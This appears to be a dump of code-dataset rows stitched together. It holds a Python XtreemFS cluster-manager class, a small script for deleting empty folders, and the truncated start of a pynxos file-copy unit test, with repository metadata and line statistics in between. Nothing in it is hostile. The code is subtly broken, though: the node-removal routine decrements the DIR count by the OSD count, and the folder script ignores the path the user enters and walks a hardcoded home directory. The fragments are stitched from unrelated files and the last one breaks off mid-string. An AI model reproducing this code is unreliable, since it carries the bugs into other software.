self.mrc_node_uuid_map = {} self.osd_node_uuid_map = {} # dictionary mapping osd uuids to volume IDs self.osd_uuid_volume_map = {} # Setup the clouds' controller self.controller.generate_context('xtreemfs') def __get__uuid(self, node_id, node_type): if node_type == 'dir': node_map = self.dir_node_uuid_map elif node_type == 'mrc': node_map = self.mrc_node_uuid_map elif node_type == 'osd': node_map = self.osd_node_uuid_map else: raise Exception("Unknown node type: %s" % node_type) node_uuid = node_map.get(node_id) if node_uuid: self.logger.debug("%s already has a uuid (%s) -> %s" % (node_id, node_type, node_uuid)) else: node_uuid = str(uuid.uuid1()) node_map[node_id] = node_uuid self.logger.debug("New uuid for %s (%s) -> %s" % (node_id, node_type, node_uuid)) return node_uuid def _start_dir(self, nodes): self.logger.debug("_start_dir(%s)" % nodes) for node in nodes: try: dir_uuid = self.__get__uuid(node.id, 'dir') client.createDIR(node.ip, 5555, dir_uuid) except client.AgentException: self.logger.exception('Failed to start DIR at node %s' % node) self.state = self.S_ERROR raise def _stop_dir(self, nodes, remove): for node in nodes: try: client.stopDIR(node.ip, 5555) except client.AgentException: self.logger.exception('Failed to stop DIR at node %s' % node) self.state = self.S_ERROR raise if remove: del self.dir_node_uuid_map[node.id] def _start_mrc(self, nodes): for node in nodes: try: mrc_uuid = self.__get__uuid(node.id, 'mrc') client.createMRC(node.ip, 5555, self.dirNodes[0].ip, mrc_uuid) except client.AgentException: self.logger.exception('Failed to start MRC at node %s' % node) self.state = self.S_ERROR raise def _stop_mrc(self, nodes, remove): for node in nodes: try: client.stopMRC(node.ip, 5555) except client.AgentException: self.logger.exception('Failed to stop MRC at node %s' % node) self.state = self.S_ERROR raise if remove: del self.mrc_node_uuid_map[node.id] def _start_osd(self, nodes, cloud=None): for idx, node in enumerate(nodes): osd_uuid = self.__get__uuid(node.id, 'osd') volume_associated = osd_uuid in self.osd_uuid_volume_map # We need a storage volume for each OSD node. Check if this OSD # node needs a new volume to be created. if volume_associated: # No need to create a new volume. volume = self.get_volume(self.osd_uuid_volume_map[osd_uuid]) self.logger.debug( '%s already has an associated storage volume (%s)' % (osd_uuid, volume.id)) else: # We need to create a new volume. volume_name = "osd-%s" % osd_uuid volume = self.create_volume(self.osd_volume_size, volume_name, node.id, cloud) self.osd_uuid_volume_map[osd_uuid] = volume.id try: self.attach_volume(volume.id, node.id, "sdb") except Exception, err: self.logger.error("attach_volume: %s" % err) try: client.createOSD(node.ip, 5555, self.dirNodes[0].ip, osd_uuid, mkfs=not volume_associated) except client.AgentException: self.logger.exception('Failed to start OSD at node %s' % node) self.state = self.S_ERROR raise def _stop_osd(self, nodes, remove, drain): """Stop OSD service on the given nodes. The volume is always detached. If remove is True, the volume is destroyed and node and volume are deleted from internal data structures. If drain is True, data is moved to other OSDs.""" for node in nodes: try: client.stopOSD(node.ip, 5555, drain) except client.AgentException: self.logger.exception('Failed to stop OSD at node %s' % node) self.state = self.S_ERROR raise volume_id = self.osd_uuid_volume_map[self.osd_node_uuid_map[node.id]] self.detach_volume(volume_id) # destroy volumes and delete entries from internal state if remove: self.destroy_volume(volume_id) del self.osd_uuid_volume_map[self.osd_node_uuid_map[node.id]] del self.osd_node_uuid_map[node.id] else: self.logger.debug('Not destroying volume %s' % volume_id) def _do_startup(self, cloud, resuming=False): """Starts up the service. The first nodes will contain all services. If 'resuming' is set to True, we do not start XtreemFS services now. set_service_snapshot will do that. """ startCloud = self._init_cloud(cloud) try: # NOTE: The following service structure is enforce: # - the first node contains a DIR, MRC and OSD, # those services can not be removed # - added DIR, MRC and OSD services will all run # on exclusive nodes # - all explicitly added services can be removed # create 1 node node_instances = self.controller.create_nodes(1, client.check_agent_process, 5555, startCloud) # use this node for DIR, MRC and OSD self.nodes += node_instances self.dirNodes += node_instances self.mrcNodes += node_instances self.osdNodes += node_instances # start DIR, MRC, OSD if not resuming: self._start_dir(self.dirNodes) self._start_mrc(self.mrcNodes) self._start_osd(self.osdNodes, startCloud) # at the startup the DIR node will have all the services self.dirCount = 1 self.mrcCount = 1 self.osdCount = 1 self.logger.info('Created 1 node with DIR, MRC and OSD services') except: self.logger.exception('do_startup: Failed to request a new node') self.state = self.S_STOPPED return self.logger.info('XtreemFS service was started up') self.state = self.S_RUNNING @expose('POST') def shutdown(self, kwargs): self.state = self.S_EPILOGUE # start _do_shutdown(stop_services=True) in a thread Thread(target=self._do_shutdown, args=[True]).start() return HttpJsonResponse() def _start_all(self): self._start_dir(self.dirNodes) self._start_mrc(self.mrcNodes) self._start_osd(self.osdNodes) def _stop_all(self, remove=True): """Stop all xtreemfs services on all agents (first osd, then mrc, then dir).""" # do not drain (move data to other OSDs), since we stop all self._stop_osd(self.osdNodes, remove=remove, drain=False) self._stop_mrc(self.mrcNodes, remove=remove) self._stop_dir(self.dirNodes, remove=remove) def _do_shutdown(self, stop_services=False): # check if we need to stop the services or not, i.e. when called at # the end of get_snapshot() if stop_services: self._stop_all(remove=True) self.controller.delete_nodes(self.nodes) self.nodes = [] self.dirNodes = [] self.mrcNodes = [] self.osdNodes = [] self.dirCount = 0 self.mrcCount = 0 self.osdCount = 0 self.dir_node_uuid_map = {} self.mrc_node_uuid_map = {} self.osd_node_uuid_map = {} self.osd_uuid_volume_map = {} self.state = self.S_STOPPED return HttpJsonResponse() @expose('POST') def add_nodes(self, kwargs): #self.controller.add_context_replacement(dict(STRING='xtreemfs')) if self.state != self.S_RUNNING: return HttpErrorResponse('ERROR: Wrong state to add_nodes') nr_dir = 0 nr_mrc = 0 nr_osd = 0 resuming = False; if 'resuming' in kwargs: resuming = kwargs['resuming'] # Adding DIR Nodes if 'dir' in kwargs: if not isinstance(kwargs['dir'], int): return invalid_arg('Expected an integer value for "dir"') nr_dir = int(kwargs.pop('dir')) if nr_dir < 0: return invalid_arg('Expected a positive integer value for "dir"') # Adding MRC Nodes if 'mrc' in kwargs: if not isinstance(kwargs['mrc'], int): return invalid_arg('Expected an integer value for "mrc"') nr_mrc = int(kwargs.pop('mrc')) if nr_mrc < 0: return invalid_arg('Expected a positive integer value for "mrc"') # TODO: 'osd' is no longer required, when adding other services is supported if not 'osd' in kwargs: return HttpErrorResponse('ERROR: Required argument doesn\'t exist') if not isinstance(kwargs['osd'], int): return HttpErrorResponse('ERROR: Expected an integer value for "osd"') nr_osd = int(kwargs.pop('osd')) if nr_osd < 0: return invalid_arg('Expected a positive integer value for "nr osd"') self.state = self.S_ADAPTING Thread(target=self._do_add_nodes, args=[nr_dir, nr_mrc, nr_osd, kwargs['cloud'], resuming]).start() return HttpJsonResponse() # TODO: currently not used def KillOsd(self, nodes): for node in nodes: client.stopOSD(node.ip, 5555) self.osdNodes.remove(node) def _do_add_nodes(self, nr_dir, nr_mrc, nr_osd, cloud, resuming=False): startCloud = self._init_cloud(cloud) totalNodes = nr_dir + nr_mrc + nr_osd # try to create totalNodes new nodes try: node_instances = self.controller.create_nodes(totalNodes, client.check_agent_process, 5555, startCloud) except: self.logger.exception('_do_add_nodes: Failed to request a new node') self.state = self.S_STOPPED return self.nodes += node_instances dirNodesAdded = node_instances[:nr_dir] self.dirNodes += dirNodesAdded mrcNodesAdded = node_instances[nr_dir:nr_mrc+nr_dir] self.mrcNodes += mrcNodesAdded osdNodesAdded = node_instances[nr_mrc+nr_dir:] self.osdNodes += osdNodesAdded # TODO: maybe re-enable when OSD-removal moves data to another node before shutting down the service. #KilledOsdNodes = [] # The first node will contain the OSD service so it will be removed # from there #if nr_osd > 0 and self.osdCount == 0: # KilledOsdNodes.append(self.dirNodes[0]) #self.KillOsd(KilledOsdNodes) # Startup DIR agents for node in dirNodesAdded: client.startup(node.ip, 5555) data = client.createDIR(node.ip, 5555) self.logger.info('Received %s from %s', data, node.id) self.dirCount += 1 # Startup MRC agents for node in mrcNodesAdded: client.startup(node.ip, 5555) data = client.createMRC(node.ip, 5555, self.dirNodes[0].ip) self.logger.info('Received %s from %s', data, node.id) self.mrcCount += 1 # Startup OSD agents (if not resuming) if not resuming: self._start_osd(osdNodesAdded, startCloud) self.osdCount += len(osdNodesAdded) #for node in osdNodesAdded: # client.startup(node.ip, 5555) # data = client.createOSD(node.ip, 5555, self.dirNodes[0].ip) # self.logger.info('Received %s from %s', data, node.id) # self.osdCount += 1 self.state = self.S_RUNNING return HttpJsonResponse() @expose('GET') def list_nodes(self, kwargs): if len(kwargs) != 0: return HttpErrorResponse('ERROR: Arguments unexpected') if self.state != self.S_RUNNING: return HttpErrorResponse('ERROR: Wrong state to list_nodes') return HttpJsonResponse({ 'dir': [node.id for node in self.dirNodes ], 'mrc': [node.id for node in self.mrcNodes], 'osd': [node.id for node in self.osdNodes] }) @expose('GET') def get_service_info(self, kwargs): if len(kwargs) != 0: return HttpErrorResponse('ERROR: Arguments unexpected') return HttpJsonResponse({ 'state': self.state, 'type': 'xtreemfs', 'persistent': self.persistent, 'osd_volume_size': self.osd_volume_size }) @expose('GET') def get_node_info(self, kwargs): if 'serviceNodeId' not in kwargs: return HttpErrorResponse('ERROR: Missing arguments') serviceNodeId = kwargs.pop('serviceNodeId') if len(kwargs) != 0: return HttpErrorResponse('ERROR: Arguments unexpected') serviceNode = None for node in self.nodes: if serviceNodeId == node.id: serviceNode = node break if serviceNode is None: return HttpErrorResponse('ERROR: Invalid arguments') return HttpJsonResponse({ 'serviceNode': { 'id': serviceNode.id, 'ip': serviceNode.ip, 'dir': serviceNode in self.dirNodes, 'mrc': serviceNode in self.mrcNodes, 'osd': serviceNode in self.osdNodes } }) @expose('POST') def remove_nodes(self, kwargs): if self.state != self.S_RUNNING: return HttpErrorResponse('ERROR: Wrong state to remove_nodes') nr_dir = 0 nr_mrc = 0 nr_osd = 0 # Removing DIR Nodes if 'dir' in kwargs: if not isinstance(kwargs['dir'], int): return invalid_arg('Expected an integer value for "dir"') nr_dir = int(kwargs.pop('dir')) if nr_dir < 0: return invalid_arg('Expected a positive integer value for "dir"') if nr_dir > self.dirCount - 1: # we need at least 1 DIR return invalid_arg('Cannot remove_nodes that many DIR nodes') # Removing MRC nodes if 'mrc' in kwargs: if not isinstance(kwargs['mrc'], int): return invalid_arg('Expected an integer value for "mrc"') nr_mrc = int(kwargs.pop('mrc')) if nr_mrc < 0: return invalid_arg('Expected a positive integer value for "mrc"') if nr_mrc > self.mrcCount - 1: # we need at least 1 MRC return invalid_arg('Cannot remove_nodes that many MRC nodes') # TODO: 'osd' is no longer required, when removing other services is supported if not 'osd' in kwargs: return HttpErrorResponse('ERROR: Required argument doesn\'t exist') if not isinstance(kwargs['osd'], int): return HttpErrorResponse( 'ERROR: Expected an integer value for "osd"') nr_osd = int(kwargs.pop('osd')) if nr_osd < 0: return invalid_arg('Expected a positive integer value for "osd"') if nr_osd > self.osdCount - 1: # we need at least 1 OSD return invalid_arg('Cannot remove_nodes that many OSD nodes') self.state = self.S_ADAPTING Thread(target=self._do_remove_nodes, args=[nr_dir, nr_mrc, nr_osd]).start() return HttpJsonResponse() def _do_remove_nodes(self, nr_dir, nr_mrc, nr_osd): # NOTE: the logically unremovable first node which contains all # services is ignored by using 1 instead of 0 in: # for _ in range(0, nr_[dir|mrc|osd]): # node = self.[dir|mrc|osd]Nodes.pop(1) if nr_dir > 0: for _ in range(0, nr_dir): node = self.dirNodes.pop(1) self._stop_dir([node], remove=True) self.controller.delete_nodes([node]) self.nodes.remove(node) self.dirCount -= nr_osd if nr_mrc > 0: for _ in range(0, nr_mrc): node = self.mrcNodes.pop(1) self._stop_mrc([node], remove=True) self.controller.delete_nodes([node]) self.nodes.remove(node) self.mrcCount -= nr_mrc if nr_osd > 0: for _ in range(0, nr_osd): node = self.osdNodes.pop(1) self._stop_osd([node], remove=True, drain=True) self.controller.delete_nodes([node]) self.nodes.remove(node) self.osdCount -= nr_osd self.state = self.S_RUNNING # TODO: maybe re-enable when OSD-removal moves data to another node before shutting down the service. # if there are no more OSD nodes we need to start OSD service on the # DIR node #if self.osdCount == 0: # self.osdNodes.append(self.dirNodes[0]) # self._start_osd(self.dirNodes) return HttpJsonResponse() @expose('POST') def createMRC(self, kwargs): if self.state != self.S_RUNNING: return HttpErrorResponse('ERROR: Wrong state to create MRC service') # Just createMRC from all the agents for node in self.nodes: data = client.createMRC(node.ip, 5555, self.dirNodes[0].ip) self.logger.info('Received %s from %s', data, node.id) return HttpJsonResponse({ 'xtreemfs': [ node.id for node in self.nodes ], }) @expose('POST') def createDIR(self, kwargs): if self.state != self.S_RUNNING: return HttpErrorResponse('ERROR: Wrong state to create DIR service') # Just createDIR from all the agents for node in self.nodes: data = client.createDIR(node.ip, 5555) self.logger.info('Received %s from %s', data, node.id) return HttpJsonResponse({ 'xtreemfs': [ node.id for node in self.nodes ], }) @expose('POST') def createOSD(self, kwargs): if self.state != self.S_RUNNING: return HttpErrorResponse('ERROR: Wrong state to create OSD service') # Just createOSD from all the agents for node in self.nodes: data = client.createOSD(node.ip, 5555, self.dirNodes[0].ip) self.logger.info('Received %s from %s', data, node.id) return HttpJsonResponse({ 'xtreemfs': [ node.id for node in self.nodes ], }) @expose('POST') def createVolume(self, kwargs): if self.state != self.S_RUNNING: return HttpErrorResponse('ERROR: Wrong state to create Volume') if not 'volumeName' in kwargs: return HttpErrorResponse( 'ERROR: Required argument (volumeName) doesn\'t exist') volumeName = kwargs.pop('volumeName') # Get the value of 'owner', if specified. 'xtreemfs' otherwise owner = kwargs.pop('owner', 'xtreemfs') args = [ 'mkfs.xtreemfs', '%s:32636/%s' % (self.mrcNodes[0].ip, volumeName), "-u", owner, "-g", owner, "-m", "777" ] process = subprocess.Popen(args, stdout=subprocess.PIPE, stderr=subprocess.PIPE) (stdout, stderr) = process.communicate() process.poll() if process.returncode != 0: self.logger.info('Failed to create volume: %s; %s', stdout, stderr) return HttpErrorResponse("The volume could not be created") self.logger.info('Creating Volume: %s; %s', stdout, stderr) return HttpJsonResponse() @expose('POST') def deleteVolume(self, kwargs): if self.state != self.S_RUNNING: return HttpErrorResponse('ERROR: Wrong state to delete Volume') if not 'volumeName' in kwargs: return HttpErrorResponse( 'ERROR: Required argument (volumeName) doesn\'t exist') volumeName = kwargs.pop('volumeName') args = [ 'rmfs.xtreemfs', '-f', '%s:32636/%s' % (self.mrcNodes[0].ip, volumeName) ] process = subprocess.Popen(args, stdout=subprocess.PIPE, stderr=subprocess.PIPE) (stdout, stderr) = process.communicate() process.poll() if process.returncode != 0: self.logger.info('Failed to delete volume: %s; %s', stdout, stderr) return HttpErrorResponse("The volume could not be deleted") self.logger.info('Deleting Volume: %s; %s', stdout, stderr) # TODO(maybe): issue xtfs_cleanup on all OSDs to free space (or don't and assume xtfs_cleanup is run by a cron job or something) return HttpJsonResponse() @expose('GET') def listVolumes(self, kwargs): if len(kwargs) != 0: return HttpErrorResponse('ERROR: Arguments unexpetced') if self.state != self.S_RUNNING: return HttpErrorResponse('ERROR: Wrong state to view volumes') args = [ 'lsfs.xtreemfs', self.mrcNodes[0].ip + ':32636' ] process = subprocess.Popen(args, stdout=subprocess.PIPE, stderr=subprocess.PIPE) (stdout, stderr) = process.communicate() process.poll() if process.returncode != 0: self.logger.info('Failed to view volume: %s; %s', stdout, stderr) return HttpErrorResponse("The volume list cannot be accessed") return HttpJsonResponse({ 'volumes': stdout }) # NOTE: see xtfsutil for the available policies @expose('GET') def list_striping_policies(self, kwargs): if len(kwargs) != 0: return HttpErrorResponse('ERROR: Arguments unexpetced') return HttpJsonResponse({ 'policies': "RAID0" }) @expose('GET') def list_replication_policies(self, kwargs): if len(kwargs) != 0: return HttpErrorResponse('ERROR: Arguments unexpetced') return HttpJsonResponse({ 'policies': "ronly, WaR1, WqRq" }) @expose('GET') def list_osd_sel_policies(self, kwargs): if len(kwargs) != 0: return HttpErrorResponse('ERROR: Arguments unexpetced') return HttpJsonResponse({ 'policies': "DEFAULT, FQDN, UUID, DCMAP, VIVALDI" }) @expose('GET') def list_replica_sel_policies(self, kwargs): if len(kwargs) != 0: return HttpErrorResponse('ERROR: Arguments unexpetced') return HttpJsonResponse({ 'policies': "DEFAULT, FQDN, DCMAP, VIVALDI" }) def set_policy(self, volumeName, policyName, args): mountPoint = '/tmp/' + volumeName # mkdir -p <mountpoint> process = subprocess.Popen(['mkdir', '-p', mountPoint]) (stdout, stderr) = process.communicate() process.poll() if process.returncode != 0: self.logger.info('Failed to set %s policy: %s; %s', policyName, stdout, stderr) return HttpErrorResponse("Failed to set %s policy: %s; %s" % (policyName, stdout, stderr)) # mount.xtreemfs <dir_ip>:32638/<volumename> <mountpoint> process = subprocess.Popen(['mount.xtreemfs', '%s:32638/%s' % (self.dirNodes[0].ip, volumeName), mountPoint], stdout=subprocess.PIPE, stderr=subprocess.PIPE) (stdout, stderr) = process.communicate() process.poll() if process.returncode != 0: self.logger.info('Failed to set %s policy: %s; %s', policyName, stdout, stderr) return HttpErrorResponse("Failed to set %s policy: %s; %s" % (policyName, stdout, stderr)) # # with python 2.7 # try: # # mkdir -p <mountpoint> # subprocess.check_output(['mkdir', '-p', mountPoint]) # # mount.xtreemfs <dir_ip>:32638/<volumename> <mountpoint> # subprocess.check_output(['mount.xtreemfs', # '%s:32638/%s' % (self.dirNodes[0].ip, volumeName), # mountPoint], # stdout=subprocess.STDOUT) # except subprocess.CalledProcessError as e: # return HttpErrorResponse('ERROR: could not mount volume: ' + e.output) # xtfsutil <mountpoint> args process = subprocess.Popen(['xtfsutil', mountPoint] + args, stdout=subprocess.PIPE, stderr=subprocess.PIPE) (stdout_xtfsutil, stderr_xtfsutil) = (stdout, stderr) = process.communicate() process.poll() if process.returncode != 0: self.logger.info('Failed to set %s policy: %s; %s', policyName, stdout, stderr) return HttpErrorResponse("Failed to set %s policy: %s; %s" % (policyName, stdout, stderr)) # umount <mountpoint> process = subprocess.Popen(['umount', mountPoint], stdout=subprocess.PIPE, stderr=subprocess.PIPE) (stdout, stderr) = process.communicate() process.poll() if process.returncode != 0: self.logger.info('Failed to set %s policy: %s; %s', policyName, stdout, stderr) return HttpErrorResponse("Failed to set %s policy: %s; %s" % (policyName, stdout, stderr)) # rmdir <mountpoint> process = subprocess.Popen(['rmdir', mountPoint]) (stdout, stderr) = process.communicate() process.poll() if process.returncode != 0: self.logger.info('Failed to set %s policy: %s; %s', policyName, stdout, stderr) return HttpErrorResponse("Failed to set %s policy: %s; %s" % (policyName, stdout, stderr)) # # with python 2.7 # try: # # umount <mountpoint> # subprocess.check_output(['umount', mountPoint]) # # fusermount -u <mountpoint> # #subprocess.check_output(['fusermount', '-u', mountPoint]) # # rmdir <mountpoint> # subprocess.check_output(['rmdir', mountPoint]) # except subprocess.CalledProcessError as e: # return HttpErrorResponse('ERROR: could not unmount volume: ' + e.output) self.logger.info('Setting %s policy: %s; %s', policyName, stdout_xtfsutil, stderr_xtfsutil) return HttpJsonResponse({ 'stdout': stdout_xtfsutil }) @expose('POST') def set_osd_sel_policy(self, kwargs): if self.state != self.S_RUNNING: return HttpErrorResponse('ERROR: Wrong state to set OSD selection policy.') if not 'volumeName' in kwargs: return HttpErrorResponse('ERROR: Required argument (volumeName) doesn\'t exist') if not 'policy' in kwargs: return HttpErrorResponse('ERROR: Required argument (policy) doesn\'t exist') volumeName = kwargs.pop('volumeName') policy = kwargs.pop('policy') # xtfsutil <path> --set-osp <policy> args = [ '--set-osp', policy ] return self.set_policy(volumeName, 'OSD selection', args) @expose('POST') def set_replica_sel_policy(self, kwargs): if self.state != self.S_RUNNING: return HttpErrorResponse('ERROR: Wrong state to set Replica selection policy.') if not 'volumeName' in kwargs: return HttpErrorResponse('ERROR: Required argument (volumeName) doesn\'t exist') if not 'policy' in kwargs: return HttpErrorResponse('ERROR: Required argument (policy) doesn\'t exist') volumeName = kwargs.pop('volumeName') policy = kwargs.pop('policy') # xtfsutil <path> --set-rsp <policy> args = [ '--set-rsp', policy ] return self.set_policy(volumeName, 'Replica selection', args) @expose('POST') def set_replication_policy(self, kwargs): if self.state != self.S_RUNNING: return HttpErrorResponse('ERROR: Wrong state to set Replication policy.') if not 'volumeName' in kwargs: return HttpErrorResponse('ERROR: Required argument (volumeName) doesn\'t exist') if not 'policy' in kwargs: return HttpErrorResponse('ERROR: Required argument (policy) doesn\'t exist') if not 'factor' in kwargs: return HttpErrorResponse('ERROR: Required argument (factor) doesn\'t exist') volumeName = kwargs.pop('volumeName') policy = kwargs.pop('policy') factor = kwargs.pop('factor') # xtfsutil <path> --set-drp --replication-policy <policy> --replication-factor <factor> args = [ '--set-drp', '--replication-policy', policy, '--replication-factor', factor ] return self.set_policy(volumeName, 'Replication', args) @expose('POST') def set_striping_policy(self, kwargs): if self.state != self.S_RUNNING: return HttpErrorResponse('ERROR: Wrong state to set Striping policy.') if not 'volumeName' in kwargs: return HttpErrorResponse('ERROR: Required argument (volumeName) doesn\'t exist') if not 'policy' in kwargs: return HttpErrorResponse('ERROR: Required argument (policy) doesn\'t exist') if not 'width' in kwargs: return HttpErrorResponse('ERROR: Required argument (factor) doesn\'t exist') if not 'stripe-size' in kwargs: return HttpErrorResponse('ERROR: Required argument (stripe-size) doesn\'t exist') volumeName = kwargs.pop('volumeName') policy = kwargs.pop('policy') width = kwargs.pop('width') stripe_size = kwargs.pop('stripe-size') # xtfsutil <path> --set-dsp --striping-policy <policy> --striping-policy-width <width> --striping-policy-stripe-size <stripe-size> args = [ '--set-dsp', '--striping-policy', policy, '--striping-policy-width', width, '--striping-policy-stripe-size', stripe_size ] return self.set_policy(volumeName, 'Striping', args) @expose('POST') def toggle_persistent(self, kwargs): self.persistent = not self.persistent self.logger.debug('toggle_persistent: %s' % self.persistent) return self.get_service_info({}) @expose('POST') def set_osd_size(self, kwargs): if not 'size' in kwargs: return HttpErrorResponse("ERROR: Required argument (size) doesn't exist") try: self.osd_volume_size = int(kwargs['size']) self.logger.debug('set_osd_size: %s' % self.osd_volume_size) return self.get_service_info({}) except ValueError: return HttpErrorResponse("ERROR: Required argument (size) should be an integer") @expose('POST') def get_service_snapshot(self, kwargs): if self.state != self.S_RUNNING: return HttpErrorResponse( 'ERROR: Wrong state to get service snapshot.') self.state = self.S_EPILOGUE # stop all agent services self.logger.debug("Stopping all agent services") self._stop_all(remove=False) self.logger.debug("Calling get_snapshot on agents") # dictionary mapping node IDs to tuples of uuids/None (DIR, MRC, OSD) nodes_snapshot = {} for node in self.nodes: if node.id not in nodes_snapshot: nodes_snapshot[node.id] = { 'data': None, 'dir_uuid': self.dir_node_uuid_map.get(node.id), 'mrc_uuid': self.mrc_node_uuid_map.get(node.id), 'osd_uuid': self.osd_node_uuid_map.get(node.id) } try: # get snapshot from this agent node, independent of what # XtreemFS services are running there data = client.get_snapshot(node.ip, 5555) self.logger.debug('get_snapshot(%s) HTTP code: %s' % (node.ip, data[0])) nodes_snapshot[node.id]['data'] = base64.b64encode(data[1]) except client.AgentException: self.logger.exception('Failed to get snapshot from node %s' % node) self.state = self.S_ERROR raise # Get ID of attached volume volume_id = self.osd_uuid_volume_map.get( nodes_snapshot[node.id]['osd_uuid']) nodes_snapshot[node.id]['volume'] = volume_id if volume_id: volume = self.get_volume(volume_id) nodes_snapshot[node.id]['cloud'] = volume.cloud.cloud_name for key in 'dir_uuid', 'mrc_uuid', 'osd_uuid', 'volume': self.logger.debug("nodes_snapshot[%s]['%s']: %s" % (node.id, key, nodes_snapshot[node.id][key])) self.logger.debug("Shutting all agents down") self._do_shutdown(stop_services=False) return HttpJsonResponse(nodes_snapshot.values()) @expose('POST') def set_service_snapshot(self, kwargs): if self.state != self.S_RUNNING: return HttpErrorResponse( 'ERROR: Wrong state to set service snapshot.') if not 'nodes' in kwargs: return HttpErrorResponse( "ERROR: Required argument (nodes) doesn't exist") nodes = kwargs['nodes'] if len(nodes) != len(self.nodes): err = "set_service_snapshot: len(nodes) != len(self.nodes)" self.logger.error(err) return HttpErrorResponse(err) self.logger.info("set_service_snapshot: stopping all agent services") # rewriting state self.osdNodes = [] self.mrcNodes = [] self.dirNodes = [] self.dir_node_uuid_map = {} self.mrc_node_uuid_map = {} self.osd_node_uuid_map = {} self.osd_uuid_volume_map = {} for node, data in zip(self.nodes, nodes): volumeid = data.get('volume') osd_uuid = data.get('osd_uuid') mrc_uuid = data.get('mrc_uuid') dir_uuid = data.get('dir_uuid') # If this is a dir node if dir_uuid: self.dir_node_uuid_map[node.id] = dir_uuid self.dirNodes.append(node) # If this is a mrc node if mrc_uuid: self.mrc_node_uuid_map[node.id] = mrc_uuid self.mrcNodes.append(node) # If this is an OSD node if osd_uuid: self.osd_node_uuid_map[node.id] = osd_uuid self.osdNodes.append(node) if volumeid: self.osd_uuid_volume_map[osd_uuid] = volumeid try: self.get_volume(volumeid) except Exception: # This volume is not in the list of known ones. volumeCloud = self._init_cloud(data.get('cloud')) class volume: id = volumeid cloud = volumeCloud self.volumes.append(volume) # Regardless of node type, restore metadata try: self.logger.info('set_service_snapshot: restoring %s' % node.ip) data = client.set_snapshot(node.ip, 5555, data['archive']) except client.AgentException, err: self.logger.exception(err) raise err self.logger.info("set_service_snapshot: starting all agent services") self._start_all() self.logger.info("set_service_snapshot: all agent services started") return HttpJsonResponse()

0

20,025

0

17,521

0

109

0

134

250

a3c424cf728d4c2ef3a50ff9cfcd26a82c1360fa

505

py

Python

Python/delete_empty_folders/script.py

Ian-Yy/code-n-stitch

20fc8784bf51bd3e36329d1ca44b0be6dc66fae6

[ "MIT" ]

50

2020-09-19T16:40:21.000Z

2022-02-05T05:48:42.000Z

Python/delete_empty_folders/script.py

Ian-Yy/code-n-stitch

20fc8784bf51bd3e36329d1ca44b0be6dc66fae6

[ "MIT" ]

266

2020-09-25T17:24:04.000Z

2021-11-29T07:17:57.000Z

Python/delete_empty_folders/script.py

Ian-Yy/code-n-stitch

20fc8784bf51bd3e36329d1ca44b0be6dc66fae6

[ "MIT" ]

113

2020-09-26T10:28:11.000Z

2021-10-15T06:58:53.000Z

import os import sys # enter path to the directory with the files x = input('Absolute path of folder, from which empty subfolders are to be removed: ') # check if path is valid if not os.path.exists(x): print('Invalid path\nTerminating program') sys.exit() # cleanup of empty subfolders walk = list(os.walk('/home/naman/Desktop/del_folders/folder_struct')) for path, folders, files in walk: if (len(folders) == 0) and (len(files) == 0): os.rmdir(path) print(f'Removed empty directory: {path}')

26.578947

85

0.720792

import os import sys # enter path to the directory with the files x = input('Absolute path of folder, from which empty subfolders are to be removed: ') # check if path is valid if not os.path.exists(x): print('Invalid path\nTerminating program') sys.exit() # cleanup of empty subfolders walk = list(os.walk('/home/naman/Desktop/del_folders/folder_struct')) for path, folders, files in walk: if (len(folders) == 0) and (len(files) == 0): os.rmdir(path) print(f'Removed empty directory: {path}')

0

0a5858e6445232a1bc20db7f822c0cac94845b29

21,764

py

Python

test/unit/test_file_copy.py

networktocode/pynxos

6ee22d52e5a0f0ae2e6b96b0c1ce158c30eb75e9

[ "Apache-2.0" ]

14

2016-04-17T19:03:15.000Z

2021-04-06T13:04:23.000Z

test/unit/test_file_copy.py

networktocode/pynxos

6ee22d52e5a0f0ae2e6b96b0c1ce158c30eb75e9

[ "Apache-2.0" ]

8

2016-02-02T23:44:12.000Z

2019-02-15T20:20:20.000Z

test/unit/test_file_copy.py

networktocode/pynxos

6ee22d52e5a0f0ae2e6b96b0c1ce158c30eb75e9

[ "Apache-2.0" ]

17

2016-04-17T19:03:17.000Z

2021-04-05T09:55:43.000Z

import unittest if __name__ == "__main__": unittest.main()

91.445378

3,856

0.66826

import unittest import mock from tempfile import NamedTemporaryFile from pynxos.features.file_copy import FileCopy, FileTransferError class FileCopyTestCase(unittest.TestCase): @mock.patch('pynxos.device.Device', autospec=True) def setUp(self, mock_device): self.device = mock_device self.device.host = 'host' self.device.username = 'user' self.device.password = 'pass' self.fc = FileCopy(self.device, '/path/to/source_file') def test_init(self): self.assertEqual(self.fc.device, self.device) self.assertEqual(self.fc.src, '/path/to/source_file') self.assertEqual(self.fc.dst, 'source_file') self.assertEqual(self.fc.port, 22) self.assertEqual(self.fc.file_system, 'bootflash:') def test_get_remote_size(self): self.device.show.return_value = ' 4096 Mar 15 17:06:51 2016 .rpmstore/\n 3651 May 19 18:26:19 2014 20140519_182619_poap_6121_init.log\n 3651 May 19 18:34:38 2014 20140519_183438_poap_5884_init.log\n 23167 Jul 11 19:55:32 2014 20140711_195320_poap_5884_init.log\n 3735 Oct 09 18:00:43 2015 20151009_180036_poap_6291_init.log\n 2826 Oct 12 20:17:32 2015 abc\n 7160 Oct 06 13:49:57 2015 cfg_flowtracker1\n 7123 Oct 08 19:26:48 2015 cfg_flowtracker1_2\n 89620 Oct 09 18:04:41 2015 clean_n9k2_all_cfg\n 2773 Oct 09 18:04:18 2015 clean_n9k2_cfg\n 17339 Oct 09 19:58:44 2015 clean_n9k2_cp\n 18203 Oct 12 19:41:21 2015 clean_n9k2_cp2\n 18118 Oct 12 21:03:57 2015 config_2015-10-12_17:03:46.308598\n 18118 Oct 12 21:03:58 2015 config_2015-10-12_17:03:47.338797\n 18118 Oct 12 21:04:03 2015 config_2015-10-12_17:03:52.012664\n 18118 Oct 12 21:06:17 2015 config_2015-10-12_17:06:05.026284\n 18118 Oct 12 21:07:03 2015 config_2015-10-12_17:06:50.357353\n 18118 Oct 12 21:08:13 2015 config_2015-10-12_17:08:01.145064\n 18118 Oct 12 21:12:55 2015 config_2015-10-12_17:12:43.603017\n 18118 Oct 12 21:13:38 2015 config_2015-10-12_17:13:25.476126\n 18098 Oct 12 21:14:40 2015 config_2015-10-12_17:14:29.411540\n 18118 Oct 12 21:14:43 2015 config_2015-10-12_17:14:32.442546\n 18099 Oct 12 21:14:46 2015 config_2015-10-12_17:14:35.595983\n 18118 Oct 12 21:16:03 2015 config_2015-10-12_17:15:51.501546\n 18118 Oct 12 21:16:20 2015 config_2015-10-12_17:16:09.478200\n 18118 